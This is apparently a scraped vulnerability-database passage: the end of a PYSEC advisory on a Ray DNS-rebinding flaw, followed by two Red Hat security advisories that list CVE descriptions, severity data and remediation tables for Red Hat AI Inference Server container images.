https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09\n \nSeveral browsers have, after knowing about the attack for 19 years, recently begun hardening against DNS rebinding. ([Chrome Local Network Access](https://developer.chrome.com/blog/local-network-access)). These changes _may_ protect you, but a previous initiative, \"private network access\" was rolled back. So updating is highly recommended as a defense-in-depth strategy.\n \n# Credit\n\nThe fetch bypass was originally theorized by @avilum at [Oligo](https://www.oligo.security/). The DNS rebinding step, full POC, and disclosure was by @JLLeitschuh while at [Socket](https://socket.dev/).",
"id": "PYSEC-2026-520",
"modified": "2026-07-01T20:23:03.643178Z",
"published": "2026-06-29T11:50:36.664292Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62593"
},
{
"type": "WEB",
"url": "https://github.com/nccgroup/singularity/pull/68"
},
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09"
},
{
"type": "WEB",
"url": "https://docs.ray.io/en/releases-2.51.1/ray-security/index.html"
},
{
"type": "WEB",
"url": "https://en.wikipedia.org/wiki/Malvertising"
},
{
"type": "PACKAGE",
"url": "https://github.com/ray-project/ray"
},
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196"
},
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/ray"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-q279-jhrf-cc6v"
}
],
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Ray is vulnerable to Critical RCE via Safari \u0026 Firefox Browsers through DNS Rebinding Attack"
}
RHSA-2025:23078
Vulnerability from csaf_redhat - Published: 2025-12-10 18:24 - Updated: 2026-07-06 00:10A flaw was found in ray. The job submission API allows a remote attacker to execute arbitrary code due to insufficient input validation. An unauthenticated attacker can trigger this vulnerability by sending a malicious job submission request. Successful exploitation results in arbitrary code execution on the affected Ray cluster.
CWE-918 - Server-Side Request Forgery (SSRF)| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
Vendor Fix
fix
|
An out-of-memory flaw was found in libtiff that could be triggered by passing a crafted tiff file to the TIFFRasterScanlineSize64() API. This flaw allows a remote attacker to cause a denial of service via a crafted input with a size smaller than 379 KB.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
Vendor Fix
fix
|
A segment fault (SEGV) flaw was found in libtiff that could be triggered by passing a crafted tiff file to the TIFFReadRGBATileExt() API. This flaw allows a remote attacker to cause a heap-buffer overflow, leading to a denial of service.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
Vendor Fix
fix
|
A flaw was found in shadow-utils. Affected versions of shadow-utils establish a default /etc/subuid behavior, for example, uid 100000 through 165535 for the first user account, that can conflict with the uids of users defined on locally administered networks. This issue potentially leads to account takeover by leveraging newuidmap for access to an NFS home directory or same-host resources for remote logins by these local network users.
CWE-1188 - Initialization of a Resource with an Insecure Default| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
Vendor Fix
fix
|
A flaw was found in the libssh library in versions less than 0.11.2. An out-of-bounds read can be triggered in the sftp_handle function due to an incorrect comparison check that permits the function to access memory beyond the valid handle list and to return an invalid pointer, which is used in further processing. This vulnerability allows an authenticated remote attacker to potentially read unintended memory regions, exposing sensitive information or affect service behavior.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
Vendor Fix
fix
Workaround
|
A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The load_from_url and load_from_url_async methods fetch and process media from user-provided URLs without adequate restrictions on the target hosts. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
Vendor Fix
fix
Workaround
|
A memory corruption flaw was found in SQLite. Under specific conditions a query can be generated where the number of aggregate terms could exceed the number of columns available. This issue could lead to memory corruption and subsequent unintended behavior.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in libtiff. The `get_histogram` function in `file/tiffmedian.c` exhibits a use-after-free condition when processing a specially crafted file, allowing a local attacker to trigger memory corruption. This manipulation results in a use-after-free vulnerability, and can lead to a denial of service.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
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A flaw was found in the OpenSSL CMS implementation (RFC 3211 KEK Unwrap). This vulnerability allows memory corruption, an application level denial of service, or potential execution of attacker-supplied code via crafted CMS messages using password-based encryption (PWRI).
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
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fix
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|
A flaw was found in Libtiff. This vulnerability is a "write-what-where" condition, triggered when the library processes a specially crafted TIFF image file. By providing an abnormally large image height value in the file's metadata, an attacker can trick the library into writing attacker-controlled color data to an arbitrary memory location. This memory corruption can be exploited to cause a denial of service (application crash) or to achieve arbitrary code execution with the permissions of the user.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
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|
A flaw was found in the `golang.org/x/oauth2/jws` package in the token parsing component. This vulnerability is made possible because of the use of `strings.Split(token, ".")` to split JWT tokens, which can lead to excessive memory consumption when processing maliciously crafted tokens with a large number of `.` characters. An attacker could exploit this functionality by sending numerous malformed tokens and can trigger memory exhaustion and a Denial of Service.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
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A flaw was found in the golang.org/x/crypto/ssh package. SSH clients and servers are vulnerable to increased resource consumption, possibly leading to memory exhaustion and a DoS. This can occur during key exchange when the other party is slow to respond during key exchange.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
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A flaw was found in runc. CVE-2025-52565 is very similar in concept and application toCVE-2025-31133, except that it exploits a flaw in /dev/console bind-mounts. When creating the /dev/console bind-mount (to /dev/pts/$n), if an attacker replaces /dev/pts/$n with a symlink then runc will bind-mount the symlink target over /dev/console.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
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A path traversal flaw was found in Vim. Successful exploitation can lead to overwriting sensitive files or placing executable code in privileged locations, depending on the permissions of the process editing the archive.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
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|
A path traversal flaw was found in Vim. Successful exploitation can lead to overwriting sensitive files or placing executable code in privileged locations, depending on the permissions of the process editing the archive.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
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A memory amplification vulnerability in libexpat allows attackers to trigger excessive dynamic memory allocations by submitting specially crafted XML input. A small input (~250 KiB) can cause the parser to allocate hundreds of megabytes, leading to denial-of-service (DoS) through memory exhaustion.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
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A flaw was found in vLLM’s API token authentication logic, where token comparisons were not performed in constant time. This weakness could allow an attacker to exploit timing differences to guess valid tokens and bypass authentication.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
Vendor Fix
fix
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|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
Vendor Fix
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Workaround
|
A flaw was found in Ray’s HTTP API endpoint handling (e.g. /api/jobs, /api/job_agent/jobs/), which allows a remote attacker to trigger arbitrary code execution when a developer using Ray visits a malicious website in a vulnerable browser (e.g. Firefox or Safari). The root cause is an insufficient defense relying solely on the User-Agent header starting with “Mozilla”, which can be manipulated under the fetch specification — enabling a DNS-rebinding attack to bypass browser-based protections.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
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|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
Vendor Fix
fix
Workaround
|
A denial of service vulnerability has been discovered in the python Starlette framework. an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This induces CPU exhaustion per request, causing a denial‑of‑service for endpoints serving files.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
Vendor Fix
fix
Workaround
|
A remote code execution vulnerability has been identified in vLLM. An attacker can exploit a weakness in the model loading process to silently fetch and run unauthorized, malicious Python code on the host system. This happens because the engine mistakenly executes code from a remote repository referenced in a model's configuration, even when explicit security measures are set to prevent it.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:bddcf7ab6d576572b6d60822c313ffebcd9869e4fde93e32ac327821f93cf32b_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:ec961e5acfde5c1ad0a7e0e2c86a0bf56b9bc46357fa124f9db6dff1006076ab_arm64 | — |
Vendor Fix
fix
Workaround
|
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"title": "Statement"
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"baseScore": 5.6,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
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"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
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"title": "openssl: Out-of-bounds read \u0026 write in RFC 3211 KEK Unwrap"
},
{
"acknowledgments": [
{
"names": [
"Gareth C"
],
"organization": "AnchorSec Ltd."
}
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"cve": "CVE-2025-9900",
"cwe": {
"id": "CWE-123",
"name": "Write-what-where Condition"
},
"discovery_date": "2025-09-03T02:48:12.111000+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2392784"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Libtiff. This vulnerability is a \"write-what-where\" condition, triggered when the library processes a specially crafted TIFF image file.\n\nBy providing an abnormally large image height value in the file\u0027s metadata, an attacker can trick the library into writing attacker-controlled color data to an arbitrary memory location. This memory corruption can be exploited to cause a denial of service (application crash) or to achieve arbitrary code execution with the permissions of the user.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "libtiff: Libtiff Write-What-Where",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This attack requires user interaction to run the malicious TIFF image file, hence the CVE is maintained as important.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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"url": "https://www.cve.org/CVERecord?id=CVE-2025-9900"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-9900",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9900"
},
{
"category": "external",
"summary": "https://github.com/SexyShoelessGodofWar/LibTiff-4.7.0-Write-What-Where?tab=readme-ov-file",
"url": "https://github.com/SexyShoelessGodofWar/LibTiff-4.7.0-Write-What-Where?tab=readme-ov-file"
},
{
"category": "external",
"summary": "https://gitlab.com/libtiff/libtiff/-/issues/704",
"url": "https://gitlab.com/libtiff/libtiff/-/issues/704"
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{
"category": "external",
"summary": "https://gitlab.com/libtiff/libtiff/-/merge_requests/732",
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{
"category": "external",
"summary": "https://libtiff.gitlab.io/libtiff/releases/v4.7.1.html",
"url": "https://libtiff.gitlab.io/libtiff/releases/v4.7.1.html"
}
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"date": "2025-12-10T18:24:36+00:00",
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"category": "workaround",
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"userInteraction": "REQUIRED",
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"version": "3.1"
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"threats": [
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"details": "Important"
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"title": "libtiff: Libtiff Write-What-Where"
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"acknowledgments": [
{
"names": [
"jub0bs"
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}
],
"cve": "CVE-2025-22868",
"cwe": {
"id": "CWE-1286",
"name": "Improper Validation of Syntactic Correctness of Input"
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"discovery_date": "2025-02-26T04:00:44.350024+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2348366"
}
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"notes": [
{
"category": "description",
"text": "A flaw was found in the `golang.org/x/oauth2/jws` package in the token parsing component. This vulnerability is made possible because of the use of `strings.Split(token, \".\")` to split JWT tokens, which can lead to excessive memory consumption when processing maliciously crafted tokens with a large number of `.` characters. An attacker could exploit this functionality by sending numerous malformed tokens and can trigger memory exhaustion and a Denial of Service.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "golang.org/x/oauth2/jws: Unexpected memory consumption during token parsing in golang.org/x/oauth2/jws",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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{
"category": "external",
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{
"category": "external",
"summary": "https://go.dev/cl/652155",
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{
"category": "external",
"summary": "https://go.dev/issue/71490",
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"summary": "https://pkg.go.dev/vuln/GO-2025-3488",
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{
"cve": "CVE-2025-22869",
"cwe": {
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"ids": [
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"text": "A flaw was found in the golang.org/x/crypto/ssh package. SSH clients and servers are vulnerable to increased resource consumption, possibly leading to memory exhaustion and a DoS. This can occur during key exchange when the other party is slow to respond during key exchange.",
"title": "Vulnerability description"
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{
"category": "summary",
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{
"category": "other",
"text": "While this flaw affects both SSH clients and servers implemented with golang.org/x/crypto/ssh, realistically the flaw will only lead to a DoS when transferring large files, greatly reducing the likelihood of exploitation.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
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"summary": "https://go.dev/cl/652135",
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"url": "https://go.dev/issue/71931"
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"summary": "https://pkg.go.dev/vuln/GO-2025-3487",
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{
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"ids": [
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"title": "Vulnerability description"
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{
"category": "summary",
"text": "runc: container escape with malicious config due to /dev/console mount and related races",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Red Hat considers this as an Important flaw since the impact is limited to local attack with minimal privileges in order to jeopardize the environment.",
"title": "Statement"
},
{
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"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
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"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
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"name": "Allocation of Resources Without Limits or Throttling"
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"title": "Vulnerability description"
},
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"category": "summary",
"text": "firefox: thunderbird: expat: libexpat in Expat allows attackers to trigger large dynamic memory allocations via a small document that is submitted for parsing",
"title": "Vulnerability summary"
},
{
"category": "other",
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"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
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"baseScore": 5.3,
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"confidentialityImpact": "NONE",
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"privilegesRequired": "NONE",
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{
"cve": "CVE-2025-59425",
"cwe": {
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"discovery_date": "2025-09-22T06:45:41.577000+00:00",
"ids": [
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"title": "Vulnerability description"
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"text": "vllm: Timing Attack in vLLM API Token Verification Leading to Authentication Bypass",
"title": "Vulnerability summary"
},
{
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"text": "The RedHat security team has rated the severity of this issue as Important. The vulnerability is remotely exploitable without authentication or user interaction and can result in authentication bypass. The root cause was the use of a non-constant-time string comparison, which leaked timing information. Successful exploitation could lead to unauthorized access to APIs and sensitive resources.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
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{
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RHSA-2025:23079
Vulnerability from csaf_redhat - Published: 2025-12-10 18:25 - Updated: 2026-07-06 00:10A flaw was found in ray. The job submission API allows a remote attacker to execute arbitrary code due to insufficient input validation. An unauthenticated attacker can trigger this vulnerability by sending a malicious job submission request. Successful exploitation results in arbitrary code execution on the affected Ray cluster.
CWE-918 - Server-Side Request Forgery (SSRF)| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
|
An out-of-memory flaw was found in libtiff that could be triggered by passing a crafted tiff file to the TIFFRasterScanlineSize64() API. This flaw allows a remote attacker to cause a denial of service via a crafted input with a size smaller than 379 KB.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
|
A segment fault (SEGV) flaw was found in libtiff that could be triggered by passing a crafted tiff file to the TIFFReadRGBATileExt() API. This flaw allows a remote attacker to cause a heap-buffer overflow, leading to a denial of service.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
|
A flaw was found in shadow-utils. Affected versions of shadow-utils establish a default /etc/subuid behavior, for example, uid 100000 through 165535 for the first user account, that can conflict with the uids of users defined on locally administered networks. This issue potentially leads to account takeover by leveraging newuidmap for access to an NFS home directory or same-host resources for remote logins by these local network users.
CWE-1188 - Initialization of a Resource with an Insecure Default| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
|
A flaw was found in the libssh library in versions less than 0.11.2. An out-of-bounds read can be triggered in the sftp_handle function due to an incorrect comparison check that permits the function to access memory beyond the valid handle list and to return an invalid pointer, which is used in further processing. This vulnerability allows an authenticated remote attacker to potentially read unintended memory regions, exposing sensitive information or affect service behavior.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The load_from_url and load_from_url_async methods fetch and process media from user-provided URLs without adequate restrictions on the target hosts. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
A memory corruption flaw was found in SQLite. Under specific conditions a query can be generated where the number of aggregate terms could exceed the number of columns available. This issue could lead to memory corruption and subsequent unintended behavior.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in libtiff. The `get_histogram` function in `file/tiffmedian.c` exhibits a use-after-free condition when processing a specially crafted file, allowing a local attacker to trigger memory corruption. This manipulation results in a use-after-free vulnerability, and can lead to a denial of service.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in the OpenSSL CMS implementation (RFC 3211 KEK Unwrap). This vulnerability allows memory corruption, an application level denial of service, or potential execution of attacker-supplied code via crafted CMS messages using password-based encryption (PWRI).
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in Libtiff. This vulnerability is a "write-what-where" condition, triggered when the library processes a specially crafted TIFF image file. By providing an abnormally large image height value in the file's metadata, an attacker can trick the library into writing attacker-controlled color data to an arbitrary memory location. This memory corruption can be exploited to cause a denial of service (application crash) or to achieve arbitrary code execution with the permissions of the user.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64 | — |
Vendor Fix
fix
Workaround
|
